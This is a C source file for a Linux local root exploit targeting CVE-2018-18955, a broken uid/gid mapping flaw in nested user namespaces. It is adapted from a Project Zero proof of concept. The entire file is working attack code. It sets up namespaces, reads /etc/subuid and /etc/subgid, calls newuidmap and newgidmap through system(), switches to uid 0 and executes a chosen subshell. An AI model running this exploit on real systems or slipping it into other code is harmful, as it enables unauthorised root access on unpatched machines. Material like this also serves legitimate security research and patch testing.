// subuid_shell.c - Linux local root exploit for CVE-2018-18955
// Exploits broken uid/gid mapping in nested user namespaces.
// ---
// Mostly stolen from Jann Horn's exploit:
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
// Some code stolen from Xairy's exploits:
// - https://github.com/xairy/kernel-exploits
// ---
// <bcoles@gmail.com>
// - added auto subordinate id mapping
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955

#define _GNU_SOURCE

#include <unistd.h>
#include <fcntl.h>
#include <grp.h>
#include <pwd.h>
#include <sched.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/prctl.h>

#define DEBUG

#ifdef DEBUG
#  define dprintf printf
#else
#  define dprintf
#endif

char* SUBSHELL = "./subshell";


// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *

#define CHUNK_SIZE 1024

int read_file(const char* file, char* buffer, int max_length) {
  int f = open(file, O_RDONLY);
  if (f == -1)
    return -1;
  int bytes_read = 0;
  while (1) {
    int bytes_to_read = CHUNK_SIZE;
    if (bytes_to_read > max_length - bytes_read)
      bytes_to_read = max_length - bytes_read;
    int rv = read(f, &buffer[bytes_read], bytes_to_read);
    if (rv == -1)
      return -1;
    bytes_read += rv;
    if (rv == 0)
      return bytes_read;
  }
}

static int write_file(const char* file, const char* what, ...) {
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);

  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return -1;
  if (write(fd, buf, len) != len) {
    close(fd);
    return -1;
  }
  close(fd);
  return 0;
}


// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *

int get_subuid(char* output, int max_length) {
  char buffer[1024];
  char* path = "/etc/subuid";
  int length = read_file(path, &buffer[0], sizeof(buffer));
  if (length == -1)
    return -1;

  int real_uid = getuid();
  struct passwd *u = getpwuid(real_uid);

  char needle[1024];
  sprintf(needle, "%s:", u->pw_name);
  int needle_length = strlen(needle);
  char* found = memmem(&buffer[0], length, needle, needle_length);
  if (found == NULL)
    return -1;

  int i;
  for (i = 0; found[needle_length + i] != ':'; i++) {
    if (i >= max_length)
      return -1;
    if ((found - &buffer[0]) + needle_length + i >= length)
      return -1;
    output[i] = found[needle_length + i];
  }

  return 0;
}

int get_subgid(char* output, int max_length) {
  char buffer[1024];
  char* path = "/etc/subgid";
  int length = read_file(path, &buffer[0], sizeof(buffer));
  if (length == -1)
    return -1;

  int real_gid = getgid();
  struct group *g = getgrgid(real_gid);

  char needle[1024];
  sprintf(needle, "%s:", g->gr_name);
  int needle_length = strlen(needle);
  char* found = memmem(&buffer[0], length, needle, needle_length);
  if (found == NULL)
    return -1;

  int i;
  for (i = 0; found[needle_length + i] != ':'; i++) {
    if (i >= max_length)
      return -1;
    if ((found - &buffer[0]) + needle_length + i >= length)
      return -1;
    output[i] = found[needle_length + i];
  }

  return 0;
}


// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

int main(int argc, char** argv) {
  if (argc > 1) SUBSHELL = argv[1];

  dprintf("[.] starting\n");

  dprintf("[.] setting up namespace\n");

  int sync_pipe[2];
  char dummy;

  if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
    dprintf("[-] pipe\n");
    exit(EXIT_FAILURE);
  }

  pid_t child = fork();

  if (child == -1) {
    dprintf("[-] fork");
    exit(EXIT_FAILURE);
  }

  if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    close(sync_pipe[1]);

    if (unshare(CLONE_NEWUSER) != 0) {
      dprintf("[-] unshare(CLONE_NEWUSER)\n");
      exit(EXIT_FAILURE);
    }

    if (unshare(CLONE_NEWNET) != 0) {
      dprintf("[-] unshare(CLONE_NEWNET)\n");
      exit(EXIT_FAILURE);
    }

    if (write(sync_pipe[0], "X", 1) != 1) {
      dprintf("write to sock\n");
      exit(EXIT_FAILURE);
    }

    if (read(sync_pipe[0], &dummy, 1) != 1) {
      dprintf("[-] read from sock\n");
      exit(EXIT_FAILURE);
    }

    if (setgid(0)) {
      dprintf("[-] setgid");
      exit(EXIT_FAILURE);
    }

    if (setuid(0)) {
      printf("[-] setuid");
      exit(EXIT_FAILURE);
    }

    execl(SUBSHELL, "", NULL);

    dprintf("[-] executing subshell failed\n");
  }

  close(sync_pipe[0]);

  if (read(sync_pipe[1], &dummy, 1) != 1) {
    dprintf("[-] read from sock\n");
    exit(EXIT_FAILURE);
  }

  char path[256];
  sprintf(path, "/proc/%d/setgroups", (int)child);

  if (write_file(path, "deny") == -1) {
    dprintf("[-] denying setgroups failed\n");
    exit(EXIT_FAILURE);
  }

  dprintf("[~] done, namespace sandbox set up\n");

  dprintf("[.] mapping subordinate ids\n");
  char subuid[64];
  char subgid[64];

  if (get_subuid(&subuid[0], sizeof(subuid))) {
    dprintf("[-] couldn't find subuid map in /etc/subuid\n");
    exit(EXIT_FAILURE);
  }

  if (get_subgid(&subgid[0], sizeof(subgid))) {
    dprintf("[-] couldn't find subgid map in /etc/subgid\n");
    exit(EXIT_FAILURE);
  }

  dprintf("[.] subuid: %s\n", subuid);
  dprintf("[.] subgid: %s\n", subgid);

  char cmd[256];

  sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid);
  if (system(cmd))  {
    dprintf("[-] newuidmap failed");
    exit(EXIT_FAILURE);
  }

  sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid);
  if (system(cmd)) {
    dprintf("[-] newgidmap failed");
    exit(EXIT_FAILURE);
  }

  dprintf("[~] done, mapped subordinate ids\n");

  dprintf("[.] executing subshell\n");

  if (write(sync_pipe[1], "X", 1) != 1) {
    dprintf("[-] write to sock");
    exit(EXIT_FAILURE);
  }

  int status;
  if (wait(&status) != child) {
    dprintf("[-] wait");
    exit(EXIT_FAILURE);
  }

  return 0;
}
